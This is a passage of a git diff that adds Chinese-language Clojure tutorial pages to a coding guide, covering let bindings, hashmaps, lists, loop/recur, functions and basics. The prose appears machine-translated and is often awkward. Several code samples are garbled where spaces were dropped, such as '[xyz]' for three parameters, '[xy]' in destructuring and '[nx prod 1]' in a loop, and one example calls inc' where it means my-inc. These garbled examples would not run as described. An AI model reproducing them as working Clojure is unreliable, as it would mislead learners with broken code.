+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/MFjA3C)
+
+哦哦！那不再是5了！当然，这个例子有点傻，但是使用太多的全局变量会导致像这个一样可怕的错误。
+
+**注意：**我们并不是真的在这里_重新分配_ `x` ，就像你在C语言中那样。我们只是创建一个恰好称为x的新变量。这是一个_非常**非常**_糟糕的主意。
+
+## 多个绑定
+
+`let`也可以一次定义多个变量，并可以为表达式赋值。
+```
+(let [spam "foo" 
+      ham (str "b" "ar")] ; str is a function that concatenates strings 
+  (println spam ham))      ; or converts variables into strings. 
+ ; => foo bar 
+ ;    nil 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/y5EBIM)
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 "：point_left：")上一页](//forum.freecodecamp.com/t/clojure-conditionals/18412) | [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")家![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")](//forum.freecodecamp.com/t/clojure-resources/18422) | [下一个![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 "：point_right：")](//forum.freecodecamp.com/t/clojure-loop-recur/18418) |  
+| [条件](//forum.freecodecamp.com/t/clojure-conditionals/18412) | [目录](//forum.freecodecamp.com/t/clojure-resources/18422) | [循环和重复](//forum.freecodecamp.com/t/clojure-loop-recur/18418) |
\ No newline at end of file
diff --git a/client/src/guide/chinese/clojure/hashmaps/index.md b/client/src/guide/chinese/clojure/hashmaps/index.md
new file mode 100644
index 0000000000..e668f45f3f
--- /dev/null
+++ b/client/src/guide/chinese/clojure/hashmaps/index.md
@@ -0,0 +1,104 @@
+---
+title: Clojure Hashmaps
+localeTitle: Clojure Hashmaps
+---
+散列映射是将键映射到值的集合。他们有其他语言的各种名字; Python将它们称为字典，而Javascript的对象基本上像hashmaps一样工作。
+
+与许多集合一样，hashmap可以以两种方式构造。有构造函数：
+```
+;; Note that each argument is *prepended* to the hashmap, not appended. 
+ (def a-hashmap (hash-map :a 1 :b 2 :c 3)) 
+ a-hashmap 
+ ; => {:c 3, :b 2, :a 1} 
+```
+
+您还可以使用hashmap文字定义它们。这通常更简洁明了。建议使用逗号分隔散列图中的键/值对，因为它可以使边界更清晰。
+```
+;; This hashmap is actually in the right order, unlike the one above. 
+ (def another-hashmap {:a 1, :b 2, :c 3}) 
+ another-hashmap 
+ ; => {:a 1, :b 2, :c 3} 
+```
+
+## 关键字和从哈希映射中检索值
+
+耽误。这是什么？ `:a` ？ `:b` ？ `:c` ？那看起来很奇怪。你看，那些是关键词。它们被称为_关键词，_因为它们经常被用作哈希映射中的键。
+
+为什么他们经常被用作钥匙？好吧，与字符串不同，关键字可以用作从散列映射中提取值的函数;无需`get`或`nth` ！
+```
+(def string-hashmap {"a" 1, "b" 2, "c" 3}) 
+ ("a" string-hashmap) 
+ ; => ClassCastException java.lang.String cannot be cast to clojure.lang.IFn 
+ 
+ (def keyword-hashmap {:a 1, :b 2, :c 3}) 
+ (:a keyword-hashmap) 
+ ; => 1 
+ 
+ ;; You can also pass a keyword a default value in case it's not found, just like get. 
+ (:not-in-the-hashmap keyword-hashmap "not found!") 
+ ; => "not found!" 
+```
+
+## 将其他集合转换为哈希映射
+
+转换为hashmap非常棘手。为了演示，让我们尝试使用它像`vec`或`seq` 。
+```
+(hash-map [:a 1 :b 2 :c 3]) 
+ ; => IllegalArgumentException No value supplied for key: [:a 1 :b 2 :c 3] 
+```
+
+`hash-map`函数认为我们正在尝试使用`[:a 1 :b 2 :c 3]`创建一个hashmap作为其中一个键。观察如果我们给它正确数量的参数会发生什么：
+```
+(hash-map [:a 1 :b 2 :c 3] "foo") 
+ ; => {[:a 1 :b 2 :c 3] "foo"} 
+```
+
+要将序列转换为hashmap，您需要使用并理解`apply` 。幸运的是，这是非常简单的： `apply`基本应用功能之前destructures的集合。
+```
+;; These two expressions are exactly the same. 
+ (+ 1 2 3) 
+ ; => 6 
+ (apply + [1 2 3]) 
+ ; => 6 
+```
+
+这是您将矢量转换为hashmap的方法：
+```
+(apply hash-map [:a 1 :b 2 :c 3]) 
+ ; => {:c 3, :b 2, :a 1} 
+ 
+ ;; This is the same as: 
+ (hash-map :a 1 :b 2 :c 3) 
+ ; => {:c 3, :b 2, :a 1} 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/k9cOjo)
+
+## 更新哈希映射
+
+您可以使用`assoc`更新hashmap内的值。这允许您添加新的键/值对或更改旧的键/值对。
+```
+(def outdated-hashmap {:a 1, :b 2, :c 3}) 
+ 
+ (def newer-hashmap (assoc outdated-hashmap :d 4)) 
+ newer-hashmap 
+ ; => {:a 1, :b 2, :c 3, :d 4} 
+ 
+ (def newest-hashmap (assoc newer-hashmap :a 22)) 
+ newest-hashmap 
+ ; => {:a 22, :b 2, :c 3, :d 4} 
+ 
+ ;; Note that outdated-hashmap has not been mutated by any of this. 
+ ;; Assoc is pure and functional. 
+ outdated-hashmap 
+ ; => {:a 1, :b 2, :c 3} 
+```
+
+## 何时使用hashmap？
+
+想要为变量命名时，散列图非常有用。如果你曾经想过自己， _“如果我使用了一个对象......”，_在你突然发现它并意识到你正在使用Clojure之前，请尝试使用一个hashmap。
+
+如果要将两个不同的值相互关联，它们也很有用。例如，使用一个ROT13密码：你可以将`\A`与`\N` ， `\B`与`\M`等关联起来。（在大多数语言中写这将是漫长而无聊的，但Clojure有一些可以为你生成它的函数让它变得_有趣！_ ）
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 "：point_left：")上一页](//forum.freecodecamp.com/t/clojure-vectors/18421) | [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")家![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")](//forum.freecodecamp.com/t/clojure-resources/18422) |下一个![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 "：point_right：") |  
+| [矢量](//forum.freecodecamp.com/t/clojure-vectors/18421) | [目录](//forum.freecodecamp.com/t/clojure-resources/18422) |待补充|
\ No newline at end of file
diff --git a/client/src/guide/chinese/clojure/index.md b/client/src/guide/chinese/clojure/index.md
new file mode 100644
index 0000000000..3491ce9517
--- /dev/null
+++ b/client/src/guide/chinese/clojure/index.md
@@ -0,0 +1,93 @@
+---
+title: Clojure
+localeTitle: Clojure的
+---
+## Clojure入门
+
+在开始之前，您可能希望[安装Clojure](http://clojure.org/guides/getting_started)和[Leiningen](http://leiningen.org/#install) （这是一个用于管理Clojure项目的工具）。这将允许您使用REPL（Read-Evaluate-Print-Loop）在命令行中运行Clojure。
+
+## 定义变量
+
+任何编程语言的面包和黄油都是变量和功能。让我们定义一个变量！
+```
+(def our-string "Hello world!") 
+```
+
+十分简单。这段代码使用`def`宏将字符串（ `"Hello world!"` ）与符号（ `our-string` ）相关联。我们也可以定义一个数字，如`1`或`1.1` ，一个字符，如`\a`或`\Z` ，或更复杂的东西，如列表或正则表达式（ _uuuugh_ ）。
+
+请注意，我们的代码在括号内，就像列表一样，因为Lisp中的所有内容都是一个列表！ （当我们开始讨论宏时，这将非常重要。）
+
+## 定义功能
+
+现在，让我们定义一个函数！
+```
+(defn hello-world [] (println our-string)) 
+```
+
+这有点复杂。像`def`一样，它使用宏（ `defn` ）来创建变量 - 尽管这次，该变量是一个函数。在`hello-world`定义该函数的参数之后，空向量（向量是一种列表 - 将其视为数组） - 在这种情况下，我们没有任何参数。之后的代码就是函数的功能。它评估`our-string` ，它等于`"Hello world!"` ，并将其打印到控制台。我们来吧！
+```
+(hello-world) 
+ ; => Hello world! 
+ ;    nil 
+```
+
+你也可以这样写：
+```
+(def hello-world (fn [] (println our-string))) 
+```
+
+`defn`只是帮助您保持代码简洁的捷径。 `(defn ...)`和`(def ... (fn ...))`在实践中是相同的。
+
+## 参数
+
+嗯，这很好，但这并不令人兴奋。让我们尝试一个带参数的函数。增加3个号码怎么样？
+```
+(defn add [xyz] (+ xyz)) 
+ (add 1 2 3) 
+ ; => 6 
+```
+
+…坚持，稍等。 `(+ xyz)` ？这看起来很有趣。好吧，Lisps是使用“前缀表示法”编写的，这意味着该函数始终是第一位的。由于Lisp（ `+ - * /` ）中的所有数学运算符都只是函数，因此它们也位于它们的参数之前（在本例中为`xyz` ）。
+
+你会注意到我们的矢量现在有一些东西： `[xyz]` ！只要函数有参数，就可以在函数名称旁边的向量中定义它们。
+
+### 解构
+
+关于Clojure中的参数的一个很好的特性是解构。它允许您从列表中“拉出”元素。
+```
+(defn add [[xy] z] (+ xyz)) 
+ (add [1 2] 3) 
+ ; => 6 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/SWlvKn)
+
+该函数的参数是集合（ `[xy]` ）和数字（ `z` ）。我们可以使用解构来从列表中拉出第一个和第二个元素，并将它们称为`x`和`y` 。
+
+### 具有任意数量参数的函数
+
+您还可以使用`&`定义具有任意数量参数的函数。
+```
+(defn demonstrate-rest [first & rest] 
+  (println first) 
+  (println rest)) 
+ (demonstrate-rest 1 "foo" ["bar" 22]) 
+ ; => 1 
+ ;    ("foo" ["bar" 22]) 
+ ;    nil 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/VftymP)
+
+正如您所看到的，使用`&`将我们的函数参数分隔为一个名为`first`的变量和一个名为`rest`的变量列表。这意味着我们的函数可以有任意数量的参数！
+
+## 返回
+
+您可能已经注意到一些奇怪的事情。每当我们使用`println` ，似乎`nil`出现在我们的输出中。此外，我们的`add`函数返回`6` ，但我们从未告诉它返回任何东西。
+
+在Clojure中，回报是“隐含的”。如果您使用过Ruby，那么您可能对这个概念很熟悉。它不是告诉我们的函数返回某些东西，而是评估其体内的所有代码，并返回结果。例如，我们的`add`函数计算`(+ xyz)` ，然后返回该结果。
+
+我们使用`println`输出`nil`函数之所以是因为`println`计算结果为`nil` 。 （ `nil`就像`null`或`None` - 它代表什么都没有。）
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 "：point_left：")上一页](//forum.freecodecamp.com/t/what-is-clojure/18419) | [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")家![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")](//forum.freecodecamp.com/t/clojure-resources/18422) | [下一个![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 "：point_right：")](//forum.freecodecamp.com/t/clojure-conditionals/18412) |  
+| [摘要](//forum.freecodecamp.com/t/what-is-clojure/18419) | [目录](//forum.freecodecamp.com/t/clojure-resources/18422) | [条件](//forum.freecodecamp.com/t/clojure-conditionals/18412) |
\ No newline at end of file
diff --git a/client/src/guide/chinese/clojure/lists-are-everything/index.md b/client/src/guide/chinese/clojure/lists-are-everything/index.md
new file mode 100644
index 0000000000..936dddce35
--- /dev/null
+++ b/client/src/guide/chinese/clojure/lists-are-everything/index.md
@@ -0,0 +1,107 @@
+---
+title: Clojure Lists They Are Everything
+localeTitle: Clojure列出他们就是一切
+---
+列表是Clojure的基础。 Clojure是一个Lisp，而Lisps最初用于列表处理。 Lisp中的所有内容都是一个列表！
+```
+(def foo "bar") 
+```
+
+那段代码实际上是一个列表！ Clojure中的两个圆括号之间也是如此。有意思，不是吗？这就是使Lisps如此有趣的原因 - 您可以轻松编写生成新代码的代码，因为生成代码就像创建列表一样简单。
+
+## 制作一个实际的清单
+
+问题是，因为一切都是Clojure中的列表，这样的东西会返回一个错误：
+```
+(1 2 3 4 5) 
+ ; => ClassCastException java.lang.Long cannot be cast to clojure.lang.IFn 
+```
+
+多么可怕的错误信息。 REPL试图告诉我们的是，“1不是一个功能，它不能合而为一。”因为Lisp中的所有内容都是一个列表，所以任何列表中的第一项都被视为函数，如`def` ， `+`或`str` ，所以如果我们写`(1 2 3 4 5)` ，它会将第一个元素（ `1` ）视为一个功能，它显然不是。
+
+我们可以用两种方式解决这个问题。一种是使用`list`函数构造一个列表，比如使用`str`将字符串连接在一起。
+```
+(list 1 2 3 4 5) 
+ ; => (1 2 3 4 5) 
+```
+
+您也可以使用报价。引用一个列表实际上是告诉编译器该列表_不是_函数调用，它不应该评估其中的任何代码。
+```
+'(1 2 3 4 5) 
+ ; => (1 2 3 4 5) 
+```
+
+有趣的是，您也可以引用函数调用。这就是宏的工作原理。它们非常复杂，值得拥有自己的文章，所以我们在此不再赘述。
+```
+;; Without a ' to quote it, this would return "foobarbaz". 
+ '(str "foo" "bar" "baz") 
+ ; => (str "foo" "bar" "baz") 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/6c7UxY)
+
+## 添加到列表
+
+列表是为前置而非附加而设计的。没有真正的方法可以附加到列表中。您可以使用`cons`前置到列表中。 `conj`也可以工作，但是这对于向量来说是有意义的，对于列表而言， `cons`更快。
+```
+(cons 1 '(2 3 4)) 
+ ; => (1 2 3 4) 
+```
+
+## 从列表中检索
+
+您可以使用`nth`从列表中检索项目。 `get`不适用于列表，因为列表是为顺序访问而设计的，而不是随机访问。请注意， `nth`适用于矢量，但由于这个原因比`get`慢。
+```
+(nth '(1 2 3 4) 0) 
+ ; => 1 
+```
+
+## 将其他集合转换为列表
+
+`list`函数无法将其他集合转换为列表，因为它尝试使用给定的参数构造列表。传递`list`集合将返回包含该集合的列表。
+```
+(list [1 2 3 4 5]) 
+ ; => ([1 2 3 4 5]) 
+```
+
+要转换为列表，请改用`seq`函数。
+```
+(seq [1 2 3 4 5]) 
+ ; => (1 2 3 4 5) 
+```
+
+## 懒惰的序列
+
+Clojure有一个很棒的功能叫做“懒惰序列”。延迟序列是一个列表，其元素在您稍后引用序列的元素之前不会生成，此时，它会评估序列的所有元素，直到您想要的元素。这允许您构建“无限”序列！
+
+`range`可能是最简单的懒惰序列。它包含所有数字。
+```
+(range 10) 
+ ; => (0 1 2 3 4 5 6 7 8 9) 
+ (range -5 5) 
+ ; => (-5 -4 -3 -2 -1 0 1 2 3 4) 
+```
+
+你可以使用懒惰的序列来做很酷的事情，比如生成所有斐波纳契数的懒惰序列。
+```
+(def fibs 
+     (lazy-cat [0 1] (map + (rest fibs) fibs))) 
+ 
+ (take 10 fibs) ;; this means, "evaluate the first 10 fibonacci numbers." 
+ ; => (0 1 1 2 3 5 8 13 21 34) 
+```
+
+这个例子有点高级，如果你是初学者，你不应该理解它。这只是一个你可以用懒惰序列做的很酷的例子。也许你无论如何都可以搞清楚！
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/jwpvt8)
+
+## 什么时候使用清单？
+
+使用向量通常比使用列表更可取，因为编译器不会意外地将向量作为函数进行评估，并且访问向量的任意元素的速度更快。列表在3种情况下最有用：
+
+*   使用宏生成代码。
+*   生成“无限”的懒惰序列。
+*   将元素添加到集合中。
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 "：point_left：")上一页](//forum.freecodecamp.com/t/clojure-collections/18411) | [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")家![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")](//forum.freecodecamp.com/t/clojure-resources/18422) | [下一个![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 "：point_right：")](//forum.freecodecamp.com/t/clojure-vectors/18421) |  
+| [收藏](//forum.freecodecamp.com/t/clojure-collections/18411) | [目录](//forum.freecodecamp.com/t/clojure-resources/18422) | [矢量](//forum.freecodecamp.com/t/clojure-vectors/18421) |
\ No newline at end of file
diff --git a/client/src/guide/chinese/clojure/looprecur/index.md b/client/src/guide/chinese/clojure/looprecur/index.md
new file mode 100644
index 0000000000..285270a8a2
--- /dev/null
+++ b/client/src/guide/chinese/clojure/looprecur/index.md
@@ -0,0 +1,97 @@
+---
+title: Clojure   Looprecur
+localeTitle: Clojure Looprecur
+---
+您可能需要了解[`if`](//forum.freecodecamp.com/t/clojure-conditionals/18412)并[`let`](//forum.freecodecamp.com/t/clojure-create-local-variables-with-let/18415)我们完全掌握Clojure中的递归。
+
+## `for`而且`while`
+
+Clojure没有for循环或while循环。如果你仔细想想，这是有道理的。 `for`循环更改变量，而Clojure中不允许这样做。
+```
+for (var i = 0; i < 10; i++) { 
+  console.log(i); 
+ } 
+```
+
+`i++`意味着每次循环结束时我们都会向变量`i`添加一个变量 - 变量变量的一个明显例子。
+
+`while`循环不太明显依赖于改变变量，但它们与循环一样多。
+```
+var i = 0; 
+ while (i < 10) { 
+  console.log(i); 
+  i++; 
+ } 
+```
+
+`while`循环总是有一个条件，比如`i < 10` ，并且如果该条件不再为真，它将会中断。这意味着它们必须具有某种副作用（例如向`i`添加1）以使条件最终为假;否则，循环会永远持续下去。
+
+## 递归
+
+值得庆幸的是，Clojure确实有一个循环。这些循环使用递归 - 一个调用自身的函数。最简单的递归算法是找到正数阶乘（5阶乘，例如等于`5 * 4 * 3 * 2` ）的算法。
+```
+(defn fact [x] 
+  (loop [nx prod 1] ;; this works just like a 'let' binding. 
+    (if (= 1 n)  ;; this is the base case. 
+      prod 
+      (recur (dec n) (* prod n))))) 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/3iP3tI)
+
+你会注意到`(loop [nx prod 1] ...)`看起来非常类似于`let`绑定。它实际上以相同的方式工作 - 在这里，我们将`n`绑定到`x` ，并将`prod`绑定到1。
+
+每个递归函数都有一个“基本案例”。这是使循环停止循环的条件。在这种情况下，如果`n = 1` ，我们的循环将停止，并返回`prod` 。如果`n`不等于1，则循环再次出现。
+```
+(recur (dec n) (* prod n)) 
+```
+
+此`recur`函数重新启动循环，但具有不同的绑定。这次， `n`不是绑定到`x` ，而是绑定到`(dec n)` （这意味着`decrement n`或`n - 1` ），并且`prod`绑定到`(* prod n)` 。
+
+所以当我们调用函数时，会发生这种情况：
+```
+(fact 5) 
+ ; Loop 1: 5 != 1, so the loop recurs with 4 (5 - 1) and 5 (1 * 5). 
+ ; Loop 2: 4 != 1, so the loop recurs with 3 (4 - 1) and 20 (5 * 4). 
+ ; Loop 3: 3 != 1, so the loop recurs with 2 (3 - 1) and 60 (20 * 3). 
+ ; Loop 4: 2 != 1, so the loop recurs with 1 (2 - 1) and 120 (60 * 2). 
+ ; Loop 5: 1 == 1, so the function returns prod, which is now equal to 120. 
+ ; => 120 
+```
+
+关于递归的巧妙之处在于变量本身永远不会改变。唯一改变的是`n`和`prod` _所指的东西_ 。我们永远不会说， `n--`或`n += 2` 。
+
+## 为什么要使用loop / recur？
+
+您可能想知道为什么要使用`loop/recur`而不是简单地定义一个调用自身的函数。我们的阶乘函数可能是这样编写的：
+```
+(defn fact-no-loop [n] 
+  (if (= 1 n) 
+    1 
+    (* n (fact-no-loop (dec n))))) 
+```
+
+这更简洁，并以类似的方式工作。为什么你会_永远_使用循环和复发吗？
+
+### 尾调用优化
+
+如果使用`loop/recur` ，则编译器（将Clojure代码转换为JVM字节码的软件）知道您要创建递归循环。这意味着它最努力地优化代码以进行递归。让我们比较`fact`的速度和`fact-no-loop` ：
+```
+(time (fact 20)) 
+ ; => "Elapsed time: 0.083927 msecs" 
+ ;    2432902008176640000 
+ (time (fact-no-loop 20)) 
+ ; => "Elapsed time: 0.064937 msecs" 
+ ;    2432902008176640000 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/tpC0Xo)
+
+在这种规模下，差异可以忽略不计。实际上，由于计算机内存的不可预测性， `fact-no-loop`偶尔比`fact`更快。但是，在更大范围内，这种优化可以使您的代码更快，更快。
+
+### 在函数中嵌套递归
+
+`fact-no-loop`在没有`loop/recur`情况下工作，因为整个函数是递归的。如果我们希望我们的函数的一部分使用递归循环，然后其余部分做一些非递归的东西怎么办？我们必须定义两个完全独立的函数。使用`loop/recur`让我们使用一些匿名函数代替。
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 "：point_left：")上一页](//forum.freecodecamp.com/t/clojure-create-local-variables-with-let/18415) | [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")家![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")](//forum.freecodecamp.com/t/clojure-resources/18422) |下一个![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 "：point_right：") |  
+| [让绑定](//forum.freecodecamp.com/t/clojure-create-local-variables-with-let/18415) | [目录](//forum.freecodecamp.com/t/clojure-resources/18422) |待补充|
\ No newline at end of file
diff --git a/client/src/guide/chinese/clojure/more-on-functions/index.md b/client/src/guide/chinese/clojure/more-on-functions/index.md
new file mode 100644
index 0000000000..57561257f8
--- /dev/null
+++ b/client/src/guide/chinese/clojure/more-on-functions/index.md
@@ -0,0 +1,79 @@
+---
+title: Clojure More on Functions
+localeTitle: Clojure更多关于功能
+---
+功能！它们非常重要。没有功能就很难做任何事情。它们是任何语言的组成部分，尤其是Clojure，因为它是一种拒绝面向对象设计的函数式编程语言。让我们更多地了解它们！
+
+## 元数
+
+**Arity**指的是函数期望的参数数量。
+```
+;; add expects 2 arguments. Its arity is 2. 
+ (defn add [xy] (+ xy)) 
+ (add 2 2) 
+ ; => 4 
+ 
+ ;; + itself is a function, and it can have any number of arguments. 
+ (+ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16) ;; and so on... 
+ ; => 136 
+```
+
+Clojure有一些特殊的语法，允许你让你的函数根据它收到的参数数量做不同的事情。这称为变量arity。
+```
+(defn foo 
+  ([]                               ; if this function gets no arguments... 
+    (println "Lisa needs braces!")) ; do this. 
+  ([arg1]                           ; if this function gets 1 argument... 
+    (println "Dental plan!")))      ; do this instead! 
+ (foo) 
+ ; => Lisa needs braces! 
+ ;    nil 
+ (foo "this is a placeholder argument.") 
+ ; => Dental plan! 
+ ;    nil 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/sXGplb)
+
+## 匿名函数
+
+让我们看一个非常简单的函数：一个向数字加1的函数。
+```
+;; I've called this function "my-inc" so you don't confuse it with inc. 
+ ;; inc is a built-in function that already does this for us. 
+ (defn my-inc [n] (+ 1 n)) 
+ (inc' 5) 
+ ; => 6 
+```
+
+这看起来很简单。它需要一个参数 - `n` - 并返回`n + 1` 。让我们分开吧。
+```
+(def my-inc-2 (fn [n] (+ 1 n))) 
+ (inc' 5) 
+ ; => 6 
+```
+
+你可以从中看到，使用`defn`只是使用简写`(def ... (fn ...))` 。但这揭示了一些有趣的东西我们实际上做的不是“定义一个函数”，它只是将一个匿名函数绑定到一个特殊名称 - `inc'` 。如果我们不给它起个名字怎么办？
+```
+((fn [n] (+ 1 n)) 5) 
+ ; => 6 
+```
+
+巴姆！繁荣！ KAPOW！匿名函数。现在这看起来似乎没用了，但是稍后使用`map` ， `reduce`和`filter`将函数应用于列表会非常方便。给你写一个名字的每个功能都会变得枯燥乏味，快速。
+
+编写匿名函数的方法较短，适用于非常简短的函数。它不允许解构或变量arity。但是，它非常简洁。
+```
+(#(+ 1 %) 5) 
+ ; => 6 
+```
+
+`#(...)`是定义匿名函数的简便方法。 `%`指的是函数的第一个参数。如果您的函数需要多个参数，则可以使用`%1, %2, ... %n` 。
+```
+(#(str %1 %2 %3) "foo" "bar" "baz") 
+ ; => "foobarbaz" 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/roYRgS)
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 "：point_left：")上一页](//forum.freecodecamp.com/t/clojure-loop-recur/18418) | [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")家![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")](//forum.freecodecamp.com/t/clojure-resources/18422) | [下一个![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 "：point_right：")](//forum.freecodecamp.com/t/clojure-collections/18411) |  
+| [循环和重复](//forum.freecodecamp.com/t/clojure-loop-recur/18418) | [目录](//forum.freecodecamp.com/t/clojure-resources/18422) | [收藏](/http://forum.freecodecamp.com/t/clojure-collections/18411) |
\ No newline at end of file
diff --git a/client/src/guide/chinese/clojure/resources/index.md b/client/src/guide/chinese/clojure/resources/index.md
new file mode 100644
index 0000000000..505e514b35
--- /dev/null
+++ b/client/src/guide/chinese/clojure/resources/index.md
@@ -0,0 +1,19 @@
+---
+title: Clojure Resources
+localeTitle: Clojure资源
+---
+![Clojure徽标](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3f3afa51f5d2c790faed68bfdd695d9f280e4480.png)
+
+[Clojure](https://clojure.org/)是Lisp的一种方言，专注于函数式编程。它由Rich Hickey在2007年发布，并且在Web开发人员中获得了很多人的欢迎。
+
+要了解该语言的某些核心功能，可以参考[文档](https://clojuredocs.org/) 。
+
+您还可以查阅以下任何文章：
+
+*   [总结 - 为什么要使用Clojure？](http://forum.freecodecamp.com/t/what-is-clojure/18419)
+*   [基础知识 - 定义一些变量和函数](http://forum.freecodecamp.com/t/clojure-the-basics/18410)
+*   [条件 - 使用逻辑向程序添加复杂的控制流](http://forum.freecodecamp.com/t/clojure-conditionals/18412)
+*   [让绑定 - 使用局部变量](http://forum.freecodecamp.com/t/clojure-create-local-variables-with-let/18415)
+*   [循环和重复 - 使用递归在Clojure中创建循环](http://forum.freecodecamp.com/t/clojure-loop-recur/18418)
+
+对于简短而简单的学习体验[，](https://www.braveclojure.com/foreword/)可以使用免费在线书籍[Clojure for the Brave and True](https://www.braveclojure.com/foreword/) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/clojure/the-basics/index.md b/client/src/guide/chinese/clojure/the-basics/index.md
new file mode 100644
index 0000000000..8fc2504efe
--- /dev/null
+++ b/client/src/guide/chinese/clojure/the-basics/index.md
@@ -0,0 +1,93 @@
+---
+title: Clojure the Basics
+localeTitle: Clojure the Basics
+---
+### 入门
+
+在开始之前，您可能希望[安装Clojure](http://clojure.org/guides/getting_started)和[Leiningen](http://leiningen.org/#install) （这是一个用于管理Clojure项目的工具）。这将允许您使用REPL（Read-Evaluate-Print-Loop）在命令行中运行Clojure。
+
+## 定义变量
+
+任何编程语言的面包和黄油都是变量和功能。让我们定义一个变量！
+```
+(def our-string "Hello world!") 
+```
+
+十分简单。这段代码使用`def`宏将字符串（ `"Hello world!"` ）与符号（ `our-string` ）相关联。我们也可以定义一个数字，如`1`或`1.1` ，一个字符，如`\a`或`\Z` ，或更复杂的东西，如列表或正则表达式（ _uuuugh_ ）。
+
+请注意，我们的代码在括号内，就像列表一样，因为Lisp中的所有内容都是一个列表！ （当我们开始讨论宏时，这将非常重要。）
+
+## 定义功能
+
+现在，让我们定义一个函数！
+```
+(defn hello-world [] (println our-string)) 
+```
+
+这有点复杂。像`def`一样，它使用宏（ `defn` ）来创建变量 - 尽管这次，该变量是一个函数。在`hello-world`定义该函数的参数之后，空向量（向量是一种列表 - 将其视为数组） - 在这种情况下，我们没有任何参数。之后的代码就是函数的功能。它评估`our-string` ，它等于`"Hello world!"` ，并将其打印到控制台。我们来吧！
+```
+(hello-world) 
+ ; => Hello world! 
+ ;    nil 
+```
+
+你也可以这样写：
+```
+(def hello-world (fn [] (println our-string))) 
+```
+
+`defn`只是帮助您保持代码简洁的捷径。 `(defn ...)`和`(def ... (fn ...))`在实践中是相同的。
+
+## 参数
+
+嗯，这很好，但这并不令人兴奋。让我们尝试一个带参数的函数。增加3个号码怎么样？
+```
+(defn add [xyz] (+ xyz)) 
+ (add 1 2 3) 
+ ; => 6 
+```
+
+…坚持，稍等。 `(+ xyz)` ？这看起来很有趣。好吧，Lisps是使用“前缀表示法”编写的，这意味着该函数始终是第一位的。由于Lisp（ `+ - * /` ）中的所有数学运算符都只是函数，因此它们也位于它们的参数之前（在本例中为`xyz` ）。
+
+你会注意到我们的矢量现在有一些东西： `[xyz]` ！只要函数有参数，就可以在函数名称旁边的向量中定义它们。
+
+### 解构
+
+关于Clojure中的参数的一个很好的特性是解构。它允许您从列表中“拉出”元素。
+```
+(defn add [[xy] z] (+ xyz)) 
+ (add [1 2] 3) 
+ ; => 6 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [IDEOne吧！](https://ideone.com/SWlvKn)
+
+该函数的参数是集合（ `[xy]` ）和数字（ `z` ）。我们可以使用解构来从列表中拉出第一个和第二个元素，并将它们称为`x`和`y` 。
+
+### 具有任意数量参数的函数
+
+您还可以使用`&`定义具有任意数量参数的函数。
+```
+(defn demonstrate-rest [first & rest] 
+  (println first) 
+  (println rest)) 
+ (demonstrate-rest 1 "foo" ["bar" 22]) 
+ ; => 1 
+ ;    ("foo" ["bar" 22]) 
+ ;    nil 
+```
+
